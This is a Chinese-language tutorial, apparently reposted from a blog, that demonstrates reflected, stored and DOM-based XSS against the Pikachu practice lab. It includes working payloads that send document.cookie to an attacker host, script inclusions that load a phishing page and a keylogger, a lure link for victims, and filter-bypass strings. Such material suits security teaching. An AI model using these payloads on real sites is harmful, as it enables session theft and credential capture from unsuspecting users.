跨站脚本xss

1.1 跨站脚本漏洞概述

1xss漏洞一直被评估为web漏洞中危害较大的漏洞

2xss是一种发生在web前端的漏洞,所以其危害的对象主要是前端用户

3xss漏洞可以用来钓鱼攻击,钓鱼攻击,前端js挖矿,用户cookie获取,甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等

 

1.2 跨站脚本漏洞类型及测试流程

1)反射性

交互的数据一般不会被存在数据库里,一次性,所见即所得,一般出现在查询类页面

2)存储型

交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面。

3DOM

不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性也属于反射性

危害:存储型>反射性>DOM型

4)测试流程

*在目标站点上找到输入点,比如查询接口,留言板等

*输入一组特殊字符+唯一识别字符,点击提交后,查看返回的源码,是否有做对应的处理

*通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合)

*提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在xss漏洞

*一般查询接口容易出现反射型xss,留言板容易出现存储型xss

*由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行

*通过变化不同的script,尝试绕过后台过滤机制

1.3反射性xss漏洞--演示

1)反射型的xss一般会出现在查询页面当中,我们可以利用javascript代码,执行一些命令。首先我们可以在输入框中输入一些特殊字符例如:<> ' " 等来测试下页面的返回值,看是否存在过滤,可以看到,页面返回值是我们输入的全部,因此,可以确定,并不存在特殊字符的过滤机制

 

2)接下来就是利用js的代码,来测试上是否存在xss的漏洞,我们可以使用js做一个小弹窗<script>alert('123')</script>,可以看到的是,确实存在漏洞。

 

1.4 存储型xss漏洞--演示

1)存储型xss和反射型xss形成的原因一样,不同的是存储型xss下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型xss也称永久型”xss,形象的说就是,我们写一个js的弹窗脚本,找到xss漏洞加以利用,反射型的只会弹窗一次,刷新之后就没有了,然而,存储型的xss是永久的,在每次打开或者刷新页面的时候都会发生弹窗。

2)首先还是先输入特殊字符测试看能不能再页面上显示出来

 

3)可以显示出来,代表着可能存在xss漏洞,这样我们可以做一个弹窗脚本

 

4)每次刷新,都会弹窗

 

1.5 DOM型xss漏洞--演示

1)什么是dom,文档对象模型(Document Object Model,简称DOM),是W3C组织推荐的处理可扩展置标语言的标准编程接口

2)我们先查看下页面源码

 

3)通过查看源码知道a的闭合,我们可以使用#' onclick = "alert('abc')">闭合

 

4)在当我们点击what do you see的时候

 

5)看下一个模块,xss-x的源码

 

 

6)剩下的主要还是闭合,闭合方式和之前一样,再当我们点击

 

 

1.6 xss获取用户cookie

1cookie获取过程

*首先用s页面,触发脚本(这个链接是自己发送给用户的,以一种欺骗性的手段,诱骗用户点击)

*用户完成点击,返回带恶意js的页面

*返回完成,在用户不知情的情况下执行脚本,发送给攻击者数据到攻击者的后台

*攻击者伪造用户登陆

2)操作演示

*这是属于get型的xss攻击,js的代码存在于url中,我们可以利用发送给用户url链接,诱骗其点击,完成信息的获取,首先需要我们构造一个payload来获取信息

<script>document.location = ' http://192.168.66.25/pikachu/cookie.php?cookie=' + document.cookie;</script>

*这个payload首先做了一个重定向,也就是访问攻击者的后台,顺带着获取到用户的cookie,访问后台时,后台也存在php的代码,再去做一个重定向,使其访问原本想要访问的页面,这样就神不知鬼不觉的获取到了用户的cookie

*接下来是演示过程

首先在xss虚拟机上构造上边的payload

 

填写完毕之后,就可以点击submit然后我们回到08的虚拟机上查看xss的后台,看有没有数据,可以看到满满的数据,上边两条是之前做的

 

那我们怎么去诱骗用户点击呢?发送链接,告诉他这玩意是xx活动的页面,先到先得。

http://192.168.66.246/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.66.25%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

1.7 post型xss漏洞

1post类型的和get型的不同之处在于,他并不会存在于url中,而是通过请求体,通过post方式发送到后台,那这种情况下我们应该怎么处理

*自己伪造一个post的表单

*将自己伪造的链接发送给用户,它会向存在漏洞的xss页面提交一个post请求,从而实现让用户提交的目的

2)演示

 

*首先得确保用户登陆在了post页面,发送给用户链接,诱骗其点击192.168.66.25/post.html

*当用户完成点击,攻击者也就完成了窃取

 

下面来说一说代码。

 

剩下的就是用户会在不知情的情况下完成重定向,访问攻击者后台,后台再去做重定向,让其访问网站首页。当我们单独打开post.html时,会发现在没有跳转的时候存在一个页面,就是在那个页面,用户完成帮助我们提交post请求,导致其cookie泄露。

1.8 xss钓鱼演示

1)在存储型的xss漏洞上嵌入一个能访问后台的payload

<script src="http://192.168.66.25/pikachu/pkxss/xfish/fish.php"></script>

 

2)这样是我们将我们的js代码,保存到了数据库,每次执行这个页面的时候,都会执行这行代码,当用户输入用户名和密码时,就会被信息就会被发送到后台

1.9 xss获取键盘记录

 

 

<script src="http://192.168.66.25/pikachu/pkxss/rkeypress/rk.js"></script>

1.10 xss盲打演示

1xss盲打就是在存储型xss的页面上,攻击后天管理员的一种方式,比如pikachu上的我们在盲打页面上随便输入一些内容,点击提交,发现他并没返回我们所提交的信息

 

 

2)这样我们猜想,是不是只有后台管理员才能看到这些信息呢?当然,如果我们输入的内容不显示在前台页面,则一定是在后台,如果碰巧后台还没有处理我们恶意植入的js代码,就会x到管理员,造成攻击。我们可以输入一个弹窗的js代码测试下,登陆后台机会发生弹窗!而这就是xss

 

1.11 xss绕过

1)转换

*前端限制绕过,直接抓包重放,或者修改html代码

*大小写,比如:<SCRIPT>aLERT(123)</sCRIPT>

*拼凑:<scri<script>pt>alert(111)</scri</script>pt>

*使用注释干扰<scri<!--test-->pt>alert(111)</sc<!--test-->ript>

2)编码

核心思路:后台过滤了特殊字符,比如<script>标签,但该标签可以被各种编码,后台不一定会过滤,当浏览器对该编码进行识别时,会翻译成正常的标签

3)演示

我们在测试栏里输入<script>发现被过滤了

 

然后我们试试大小写混合的script,做一个弹窗

 

4)关于htmlspecialchars()函数的绕过

 

*这个地方的漏洞在于,开发使用默认,从而仅编码双引号。这样我们就可以使用单引号进行闭合,构造payload

*演示

我们在界面随便输入一些符号,然后查看源代码,看都变成了啥样

 

构造一个payloadp'onclick='alert(123)'测试下

 

1.12 xss之href输出

1)在a标签中,我们可以使用javascript协议来执行js

2)防御:只允许http,https,其次在进行htmlspecialchars处理

3)演示javascript:alert(1)

 

 

1.13 xss之js输出

1JS的输出点应该使用对特殊字符进行转义

2)演示

先随便输点东西,看下源码

 

源码:

<script>

    $ms='123’</script><script>alert("abc")</script>';//主要是闭合

    if($ms.length != 0){

        if($ms == 'tmac'){

            $('#fromjs').text('tmac确实厉害,看那小眼神..')

        }else {

//            alert($ms);

            $('#fromjs').text('无论如何不要放弃心中所爱..')

        }

    }

</script>

 

原文地址:https://www.cnblogs.com/pangsong/p/12487887.html